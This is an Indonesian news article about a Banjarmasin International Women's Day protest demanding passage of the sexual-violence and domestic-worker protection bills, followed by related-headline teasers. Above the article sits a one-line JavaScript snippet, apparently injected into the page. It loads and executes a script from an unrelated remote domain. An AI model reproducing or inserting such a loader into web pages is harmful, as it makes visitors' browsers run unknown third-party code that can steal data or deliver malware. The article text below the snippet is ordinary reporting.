(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALAKALIMANTAN.COM, BANJARMASIN – Memperingati hari Perempuan Internasional, puluhan perempuan yang tergabung dalam organisasi Mahardika Perempuan, Narasi Perempuan, serta gabungan mahasiswa di Banjarmasin, melakukan orasi di Bundaran Hotel A Banjarmasin, Senin (8/3/21).
Dalam aksinya, mereka meminta pemerintah akui Rancangan Undang-Undang Penghapusan Kekerasan Seksual (RUU PKS) serta mengakui Rancangan Undang Undang Perlindungan Pekerja Rumah Tangga (PPRT).
“Kita membawakan 7 tuntutan yang sudah disetujui secara nasional. Di antara upah yang layak untuk perempuan, akui kekerasan seksual adalah pelanggaran HAM, serta mengakui pekerja rumah tangga itu sebagai pekerja dengan mengesahkan RUU perlindungan pekerja rumah tangga yang sudah 17 tahun yang belum disahkan,” ucap koordinator aksi, Rizki Anggarini Santika Febriani.
Tak hanya itu, koalisi juga menuntut perhatian pemerintah terkait persoalan pernikahan di bawah umur, khususnya di Kalsel yang masih tinggi.
“Di masa pandemi ini angka pernikahan dini semakin tinggi, meskipun UU perkawinan itu sudah direvisi dan dinaikkan batas umurnya,” tuturnya.
Dilanjutkan Rizki, meski kekerasan terhadap perempuan di Kalsel tak sebanyak dibanding daerah lain, tetapi tren kekerasan gender berbasis online terus ada. Parahnya, hal itu tidak ada hukum yang mengatur.
“Itu biasanya yang di DM harga dan pelecehan melalui chat. Jadi kekerasan berbasis gender online itu sama sekali tidak diatur. Dan ini terjadi di Kalsel,” terangnya
Ia berharap, adanya wadah yang mengatur untuk korban pelecehan seksual serta kekerasan terhadap perempuan.
“Kekerasan di Kalsel banyak cuma banyak juga tidak lapor, paling ada yang sifatnya curhat. Karena banyak yang menilai kekerasan seksual itu aib. Jadi yang melapor itu takut bahwa mereka sendiri yang menjadi biang penyebabnya. Jadi harapannya ada wadah yang mengatur untuk korban aman untuk melapor,” tutupnya.
Pantauan kanalkalimantan.com aksi orasi di pinggir jalan yang bertepatan dengan Hari Peringatan Perempuan Internasional itu berjalan tertib dan damai, aksi massa ini sempat menjadi perhatian dari para pengguna jalan yang kebetulan melintas, dan sambil dikawal aparat kepolisian setempat, usai menyampaikan sikapnya, massa kemudian membubarkan diri. (Kanalkalimantan.com/putra)
Reporter: putra
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More
KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk apresiasi menjaga kelestarian lingkungan, kebersihan, dan pengelolaan sampah yang baik, Pemerintah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
This website uses cookies.